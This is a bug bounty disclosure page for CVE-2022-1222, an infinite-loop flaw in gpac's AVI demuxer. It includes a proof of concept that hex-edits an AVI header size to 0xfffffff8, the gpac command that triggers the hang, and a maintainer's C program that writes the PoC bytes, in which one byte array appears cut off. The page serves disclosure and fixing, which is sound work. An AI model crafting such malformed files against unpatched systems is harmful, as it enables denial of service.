Inf loop in gpac/gpac

Valid Reported on Mar 29th 2022

1

Description

A inf loop security issue in gpac/gpac

Proof of Concept

The issue occurs in code: src/media_tools/avilib.c#L1974, when the gpac avidmx filter parses the AVI format file.
choose a simple AVI format file, the data's header is as follows in xxd mode

```
$ xxd ./1.avi | head -n 2
00000000: 5249 4646 e81b 0100 4156 4920 4c49 5354  RIFF....AVI LIST
00000010: c222 0000 6864 726c 6176 6968 3800 0000  ."..hdrlavih8...
```

Use vim in xxd mode, to change the header's size member hex data to 0xfffffff8(-8), the modified data is as follows

```
$ xxd ./1.avi| head -n 2
00000000: 5249 4646 e81b 0100 4156 4920 4c49 5354  RIFF....AVI LIST
00000010: c222 0000 6864 726c 6176 6968 f8ff ffff  ."..hdrlavih....
```

Then run command with avidmx filter, you will observe an inf loop situation.

```
./gpac -i ./1.avi -o 123 avidmx
```

Its stack backtrack is as follow

```
#0  __strncasecmp_l_avx () at ../sysdeps/x86_64/multiarch/s
#1  0x00007ffff7a5c62c in avi_parse_input_file.part () from
#2  0x00007ffff7a5e9f7 in AVI open input file () from /mnt/data/gpac/gpac-
```

```
#3  0x00007ffff7bf11d9 in avidmx_process () from /mnt/data/gpac/gpac-32/bir
#4  0x00007ffff7baced0 in gf_filter_process_task () from /mnt/data/gpac/gpa
#5  0x00007ffff7b9abc4 in gf_fs_thread_proc () from /mnt/data/gpac/gpac-32/
#6  0x00007ffff7b9fb2b in gf_fs_run () from /mnt/data/gpac/gpac-32/bin/gcc/
#7  0x0000555555564a5a in gpac_main ()
```

CVE
CVE-2022-1222
(Published)

Vulnerability Type
CWE-835: Infinite Loop

Severity
Medium (4)

Visibility
Public

Status
Fixed

Found by

tianstcht
@tianstcht
unranked

This report was seen 753 times.

We are processing your report and will contact the **gpac** team within 24 hours. 8 months ago

tianstcht modified the report 8 months ago

We have contacted a member of the **gpac** team and are waiting to hear back 8 months ago

A **gpac/gpac** maintainer 8 months ago

I can't reproduce with the provided POC:

```
$ gpac -i poc.avi  -o 123 avidmx
session last connect error BitStream Not Compliant
```

I generated the POC with the following program. main.c:

```
#include <stdio.h>
#include <stdint.h>

void main() {
        FILE *f = fopen("poc.avi", "wb");
        uint8_t buf[]={0x52,0x49,0x46,0x46,0xe8,0x1b,0x01,0x00,0x41,0x56,0x49,0x20,0x4
0xc2,0x22,0x00,0x00,0x68,0x64,0x72,0x6c,0x61,0x76,0x69,0x68,0xf8,0xff,0xff,0xff};
        fwrite(buf, sizeof(buf), 1, f);
        fclose(f);
}
```

```
gcc main.c -o main
```

tianstcht 8 months ago Researcher

There may be some simple format check, plz try this poc

A gpac/gpac maintainer 8 months ago Maintainer

https://github.com/gpac/gpac/issues/2159

A gpac/gpac maintainer validated this vulnerability 8 months ago

tianstcht has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

A gpac/gpac maintainer marked this as fixed in 2.1.0-DEV with commit 7f060b 8 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

tianstcht 8 months ago Researcher

maybe @admin can assign a cve number for this issue?

Jamie Slome 8 months ago Admin

Sure, @maintainer, are you happy for a CVE to be assigned and published for this report?

A gpac/gpac maintainer 8 months ago Maintainer

Yes. Please do what's the best practice of your industry.

Jamie Slome 8 months ago Admin

Assigned and published! 🎊

tianstcht 8 months ago Researcher

This issue is discovered by tianstcht of Chaitin Tech. (just for record, no reply required, thx.)

newbiereer 8 months ago

%%%%%%%%%

Sign in to join this conversation